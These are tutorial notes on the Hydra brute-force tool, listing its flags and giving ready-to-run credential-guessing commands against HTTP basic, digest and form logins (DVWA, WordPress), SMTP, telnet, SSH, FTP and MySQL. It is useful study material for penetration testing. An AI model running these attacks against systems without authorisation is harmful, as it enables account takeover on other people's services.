Hydra Notes

Hydra is a very useful software when it comes to bruteforce credentials on most commonly used protocols. We are going to start with some flags which are generally used independently from the protocol, so in the examples when we will see these flags, we can immediately understand what they are used for. Here is a list of common and general flags used with Hydra:

  • -L <filepath> for the file path to use for usernames, separated by newlines
  • -P <filepath> for the file path to use for passwords, separated by newlines
  • -C <filepath> this is an alternative to -L and -P, since we can provide a unique file which contains both user and password, separated by a colon, like user1:passwdrandom user2:minestrone root:toor ...
  • -t <integer> is the number of threads to use
  • -o <filepath> allows us to specify an output file where to save results
  • -w <integer> specifies the amount of seconds two wait between consecutive requests
  • -s <integer> specifies the port number to use
  • -v activates the verbose mode, to give us an idea of what is happening behind the scenes, so we will see each attempt, and the current combination of credentials which is being tested
  • -S performs a connection using SSL
  • -l <username> uses a single user for login instead of a list/file, so we can specify instead of -L a single user with -l root or -l usrname1
  • -M <filepath> with this option we can specify a file which will contain on each line a different IP or website or resource, in order to perform parallel cracking
  • -f this flag when activated, will let hydra terminate as soon as it finds a single correct credential pair, so as soon as it succeeds it exits, this happens per host if we specify -M (so a set of machines)
  • -F exits after the first found login/password pair for any host (for usage with -M)


HTTP Basic Authentication

We can use the following commands for Basic HTTP Authentication, we can understand that the authentication is basic from the headers of the response.

hydra -L users.txt -P words.txt www.site.com http-head /private/
# we provide users.txt as files containing users
# then words.txt as the password file and then we try
# a basic http authentication by using the http-head parameter
# then we provide the page /private/ which is the url path
# where we are asked for credentials

We can add with -e combinations to the already existing combinations provided from the users and password files in particular we can use n or s or r or all the combinations of them, their meaning is:

  • n adds for each user also the null password
  • s adds the combination of credentials username/username for each of the usernames
  • r adds for each combination username/password also the reversed password/username
hydra -L users.txt -P words.txt www.site.com -e ns http-head /private/
# here we do the same thing as before, but we add combinations with
# `-e ns`, so we are also trying with an empty password for each
# of the users and with passwords equal to the username for each user

HTTP Digest Authentication

hydra -l root -P test.txt -vV localhost http-get /forbidden-d2
# uses the username root with passwords from the file called test.txt
# it runs in verbose mode on localhost through http-get module we specify
# that this is an HTTP digest authentication found at path /forbidden-d2
hydra -l admin -P 1000_common_passwords.txt -s 8090 -f http-get /get_camera_params.cgi
# uses the username admin with passwords from the file called
# 1000_common_passwords.txt it runs on port 8090 through 
# the -f flag it will stop as soon as it finds the first valid credentials
# the http-get module is specified to denote the presence of an HTTP digest
# authentication at the path /get_camera_params.cgi

HTTP Forms

When it comes to HTTP login forms, we generally have to inspect the web application, searching for messages which will appear on successful or failed logins.

Generally for HTTP forms we will have hydra commands with the following structure:

hydra -L <users_file> -P <password_file> <url> http[s]-[post|get]-form \

Where depending on the webpage and on the post we can have after url: http-get-form, in case of an http page with a get form https-get-form, in case of an https page with a get form http-post-form, in case of an http page with a post form https-post-form, in case of an https page with a post form

and after this a string we specify the "request string" which will contain the following elements separated by a colon :: page_on_which_the_login_happens list of parameters, here we have to specify with ^USER^ and ^PASS^ where usernames and passwords will be inserted * a character which may be F (for failing strings) or S for successful strings followed by an equal sign = and a string which appears in a failed attempt or in a successful attempt, if we do not specify F or S, F is the default also because this is the more natural option, we generally know which strings will appear when we fail a login but not the ones which will appear when it is successful (unless we are dealing with a known web technology/framework). Let's see some examples, We can specify a failure string with :F=mystringincaseoffailure while we can specify a success string with :S=mystringincaseofsuccess. But we may also see online :mystring and it will be the equivalent of :F=mystring

Let's see some warmup examples:

hydra -l admin -P pass.txt https://url.com https-post-form "index.php:param1=value123&user=^USER^&pass=^PASS^:F=Bad login"
 # in this example we are in an https post form situation, 
 # as we may notice as request line we have the following structure
 # page:parameters:F=message_to_show_in_case_of_failure
hydra -l admin -P pass.txt https://url.com https-post-form "index.php:param1=value123&user=^USER^&pass=^PASS^:S=Success!!"
 # in this example we are in an https post form situation, 
 # as we may notice as request line we have the following structure
 # page:parameters:S=message_to_show_in_case_of_failure

HTTP Get Login Forms

hydra -l admin -P /root/Desktop/wordlists/test.txt http://www.website.com \
http-get-form "/brute/index.php:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect."
hydra  -L /usr/share/seclists/Usernames/top_shortlist.txt -P /usr/share/seclists/Passwords/rockyou-40.txt \
  -e ns  -F  -u  -t 1  -w 10  -v  -V  http-get-form \
"/DVWA/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:S=Welcome to the password protected area:H=Cookie\: security=low; PHPSESSID=${SESSIONID}"

HTTP Post Login Forms

hydra http-post-form "/w3af/bruteforce/form_login/dataReceptor.php:user=^USER^&pass=^PASS^:Bad login" \
-L users.txt -P pass.txt -t 10 -w 30 -o hydra-http-post-attack.txt
# Here we specified:
 # Host =
 # Method = http-form-post
 # URL = /w3af/bruteforce/form_login/dataReceptor.php
 # Form parameters = user=^USER^&pass=^PASS^
 # Failure response = Bad login
 # Users file = users.txt
 # Password file = pass.txt
 # Threads = -t 10
 # Wait for timeout = -w 30
 # Output file = -o hydra-http-post-attack.txt

We can make more complicated examples, for example by specifying specific headers or cookies with:

hydra http-post-form "/foo.php:user=^USER^&pass=^PASS^:S=success:C=/page/cookie:H=X-Foo: Foo" \
-L users.txt -P pass.txt -t 10 -w 1 -o hydra-http-post-attack.txt
 # in this case we specify that the cookie should be page/cookie
 # cookies can be specified with C=
 # and we also added an header with H= 
 # this header is called X-Foo and has as value Foo
hydra -L users.txt -P words.txt https://www.site.com  https-post-form "/index.cgi:login&name=^USER^&password=^PASS^&login=Login:Not allowed" &
 # here we use https-post-form, since the website uses https
hydra -L lists/usrname.txt -P lists/pass.txt localhost -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'
# now we check for success by using S=Location, since wordpress uses a Location
# header to redirect the user, we can think about S as a sort of grep applied to
# the HTTP response


hydra smtp.victimsemailserver.com smtp -l useraccount@gmail.com -P '/root/Desktop/rockyou.txt' -s portnumber -S -v 

Generally the port used for SMTP is 465 and common SMTP server for common email services are: * smtp.mail.yahoo.com * smtp.gmail.com * smtp.live.com (but on poort 587)


hydra -l <username> -P <password_file> telnet://targetname


hydra -l root -M /path/to/ip/list.txt -P /path/to/passwordlist.txt ssh
hydra ssh2 -s 22 -P pass.txt -L users.txt -e ns -t 10
 # this will attack the system on port 22
 # and will use as password file pass.txt while
 # for users the file users.txt
 # the process will use 10 threads at a time
hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 ssh://
hydra -L logins.txt -P pws.txt -M targets.txt ssh
# tries the users from logins.txt and the paasswords from pws.txt
# on all the machines listed on targests.txt on the ssh port/service


hydra -l root -P 500-worst-passwords.txt ftp
hydra -l user -P passlist.txt

MySQL and other databases

We can use hydra with many kinds of databases, anyway it is very important for us to check that we have installed hydra with the adequate module to perform a specific bruteforce.

IMPORTANT: if we did not install hydra with mysql5 support it will not work, we can check the modules available by issuing a hydra -h, if we just see mysql(v4) this means that our version will not be compatible with mysql5, while if we see mysql then our version of hydra will be compatible also with mysql5 databases.

hydra -L <your_username_file> -P <your_password_file> <IP> mysql -s 3306 -o output.txt

notice that this is equivalent to:

hydra -L <your_username_file> -P <your_password_file> <IP> mysql -o output.txt
 # by default mysql uses port 3306 so we do not need to specify it,
 # anyway it is fundamental to specify it if the mysql port is different